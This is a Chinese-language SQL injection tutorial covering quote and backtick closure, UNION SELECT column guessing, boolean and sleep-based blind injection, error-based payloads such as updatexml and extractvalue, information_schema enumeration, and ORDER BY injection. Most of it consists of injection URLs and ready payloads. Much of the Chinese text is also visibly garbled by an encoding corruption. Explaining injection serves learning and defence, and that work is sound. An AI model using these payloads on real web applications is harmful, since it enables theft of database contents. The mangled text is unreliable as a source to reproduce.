什么是SQL注入
拼接sql得到想要的數(shù)據(jù)或反應(yīng), 而這些sql是不常見(jiàn)的編程邏輯的sql.
SQL語(yǔ)句閉合問(wèn)題
-
字符串類型閉合
-
單引號(hào) - 值的類型是字符串類型
一般是對(duì)where
,if
等表達(dá)式的條件值進(jìn)行引用
注入U(xiǎn)RL:http://x.x.x.x/name=test' and '1'='1' %23
后端SQL:
select c1,c2 from db.table where name='test' and '1'='1' #'
解釋一下:
%23
就是#
quote后的值, 其中' and '1'='1' #
為注入的SQL可以發(fā)現(xiàn), name是字符串類型字段, 字符串類型必須使用單引號(hào)將變量值括起來(lái)才符合SQL語(yǔ)法
其中'1'='1'
就是注入點(diǎn), 可以換成自己的語(yǔ)句 -
反引號(hào) - 字段名
一般是對(duì)group by
,order by
等對(duì)字段進(jìn)行操作的表達(dá)式中字段名的引用
注入U(xiǎn)RL:http://x.x.x.x/order=name`, if(1=1,1,2) %23
后端SQL:
select c1,c2 from db.table order by `name`, if(1=1,1,aaa) #`
解釋一下:
- URL中的
name`, if(1=1,1,2) %23
, name后的反引號(hào)提前把name閉合,緊接著注入了, if(1=1,1,2) %23
,%23
是#
, 直接把后面的sql語(yǔ)句給注釋了 -
if
里面的aaa
是一個(gè)不存在(亂寫(xiě)的)的字段名, 其中1=1
就是注入點(diǎn), 可以換成自己的語(yǔ)句, 觀察頁(yè)面變化來(lái)進(jìn)行盲注 -
order by x,y
可以根據(jù)多個(gè)字段名排序, 當(dāng)后端做了變量檢查可以嘗試使用逗號(hào)多個(gè)字段排序來(lái)注入 - 注意:
group by
,order by
字段名 的時(shí)候, 是可加可不加反引號(hào)的, 需要嘗試才知道后端代碼是否加了反引號(hào)
- URL中的
-
-
整數(shù)類型閉合
注入U(xiǎn)RL:
http://x.x.x.x/id=1 and 1=1 %23
后端SQL:
select c1,c2 from db.table where id=1 and 1=1 #
解釋一下:
整數(shù)類型的變量過(guò)濾無(wú)需單引號(hào), 同樣1=1
為注入點(diǎn)
SQL注入分類
-
UNION SELECT
union select
可以將后面的select出的數(shù)據(jù)與前面的select出的結(jié)果集進(jìn)行合并
union select 所需前置條件-
union select的字段數(shù)目必須與前面select語(yǔ)句的數(shù)目一致
辦法: 使用order by N
進(jìn)行猜測(cè)(N是整數(shù), 代表第幾個(gè)字段)
select depts.id, depts.name from depts order by 1
這里的1是指字段的位置, 代表使用第一個(gè)字段進(jìn)行排序, 如果使用超出字段數(shù)目的位置參數(shù)排序就會(huì)報(bào)錯(cuò), 由此可以推算出select的字段個(gè)數(shù), 如下圖:
-
union select的字段的類型必須與前面的匹配
辦法: 使用null
代替, 因?yàn)樗蓄愋妥侄味贾С?code>null, 如下圖所示
select depts.id, depts.name from depts where id = 1 union select null, null
-
-
盲注
前面的union select 可以將數(shù)據(jù)暴露到頁(yè)面上, 但是有些情況無(wú)法使用union select, 比如:
- union select 被WAF過(guò)濾
- http頁(yè)面返回內(nèi)容沒(méi)有變化
盲注原理:
顧名思義, 盲注就是我們不能直接的看到數(shù)據(jù)的展示或變化
盲注SQL:select depts.id, depts.name from depts where id = 1 and if(ascii(substring(database(), 1 ,1)) = 101,1,0)
SQL解釋:
-
database()
當(dāng)前數(shù)據(jù)庫(kù)的名字, 在這里是"ec_ops" -
substring('ec_ops',1,1)
取出'ec_ops'的第一個(gè)字符'e'; 第一個(gè)1
是第一次, 第二個(gè)1
是步進(jìn)值為1
-
ascii('e')
將'e'字符轉(zhuǎn)成ascii碼; 'e'的ascii為101 -
if(ascii('e')=101,1,0)
當(dāng)ascii('e')=101
為true的時(shí)候, 返回1
(既true), 否則返回0
(既f(wàn)alse); -
id = 1 and if()
-- 當(dāng)左右兩個(gè)條件同時(shí)為true時(shí), 才展示數(shù)據(jù),這樣可以根據(jù)頁(yè)面數(shù)據(jù)變化來(lái)判斷if里面猜測(cè)是否正確,if(xx=xx,1,0)
條件為真的值(例子中是1)也可以換成sleep(1)
, 成功則睡一秒, 根據(jù)訪問(wèn)延遲來(lái)判斷是否成功
注: 英文可見(jiàn)字符的ascii碼范圍: 32-127, 逐步實(shí)驗(yàn)可以撞出庫(kù)名的所有字符的ascii碼, 也就得出完整的庫(kù)名
-
報(bào)錯(cuò)
使用報(bào)錯(cuò)注入的前置條件
web后端service開(kāi)啟了報(bào)錯(cuò)開(kāi)關(guān)允許打印到web前端顯示-
and 1=(updatexml(1,concat(0x3a,(select user())),1))
獲取當(dāng)前數(shù)據(jù)庫(kù)用戶 -
and extractvalue(0x7e,concat(0x7e,user()))
獲取當(dāng)前數(shù)據(jù)庫(kù)用戶 -
and exp(~(select * from(select user())a))
獲取當(dāng)前數(shù)據(jù)庫(kù)服務(wù)器類型 -
and linestring(id)
快速獲得當(dāng)前庫(kù)名奈嘿、表名 - ....
-
練手
-
MySQL
information_schema 存放著數(shù)據(jù)庫(kù)的所有信息, 包括有哪些庫(kù), 表, 字段-
select schema_name from information_schema.schemata
-- 所有數(shù)據(jù)庫(kù)名 -
select table_name from information_schema.tables where table_schema = 'db_name'
--獲取db_name的所有表 -
select column_name from information_schema.columns where table_schema = 'db_name' and table_name = 'table_name'
--獲取db_name.table_name的所有字段名
-
常見(jiàn)注入點(diǎn)
-
WHERE column_name [ = | like ] value
select c1,c2 from tables where id = 1 [ and | having ] condition
使用 and / having 或 "union select" 連接其他sql語(yǔ)句
-
ORDER BY column_name
例1:
select id, name from ec_ops.depts order by if(1=1,id,name)
當(dāng)1=1
為真時(shí), 以id
進(jìn)行排序, 否則以name
排序,1=1
可以換成其他sql語(yǔ)句
注意: 如果將if里的id
換為sleep(1)
, 每條數(shù)據(jù)都會(huì)睡一次, 如果有300條數(shù)據(jù)則睡300秒, 即使加limit 1也沒(méi)用 慎用例2:
select id, name from ec_ops.depts order by rand()
隨機(jī)排序例3:
select id from depts order by case when 1=1 # 當(dāng)1=1為真以id排序 then id when 1=2 # 當(dāng)1=2為真以name排序 then name when 1=3 # 當(dāng)1=3為真以title排序 then title else author # 以上條件都不符合則以author排序 end
總結(jié):
order by
就是利用不同字段排序, 來(lái)觀察數(shù)據(jù)變化從而進(jìn)行盲注